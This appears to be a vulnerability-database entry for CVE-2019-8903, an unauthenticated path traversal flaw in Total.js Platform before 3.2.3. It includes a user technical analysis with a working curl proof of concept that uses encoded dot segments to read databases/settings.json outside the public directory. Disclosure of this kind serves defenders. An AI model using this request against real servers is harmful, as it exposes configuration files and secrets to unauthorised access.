Attacker Value
Moderate
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
1

CVE-2019-8903

Disclosure Date: February 18, 2019
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

index.js in Total.js Platform before 3.2.3 allows path traversal.

Add Assessment

1
Ratings
Technical Analysis

Totaljs – Unathenticated Directory Traversal

DESCRIPTION
User can make requests like “GET /../databases/settings.json
HTTP/1.1” and include file contents from outside the /public
the directory which is the default directory for accessible static files.

Refer:-
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8903

PROOF OF CONCEPT

$ curl -v --path-as-is
http://127.0.0.1:8000/.%2e/databases/settings.json 

#(note that .json is in the extensions list by def.)

CVSS V3 Severity and Metrics
Base Score:
None
Impact Score:
Unknown
Exploitability Score:
Unknown
Vector:
Unknown
Attack Vector (AV):
Unknown
Attack Complexity (AC):
Unknown
Privileges Required (PR):
Unknown
User Interaction (UI):
Unknown
Scope (S):
Unknown
Confidentiality (C):
Unknown
Integrity (I):
Unknown
Availability (A):
Unknown

General Information

Vendors

  • totaljs

Products

  • total.js

Additional Info

Technical Analysis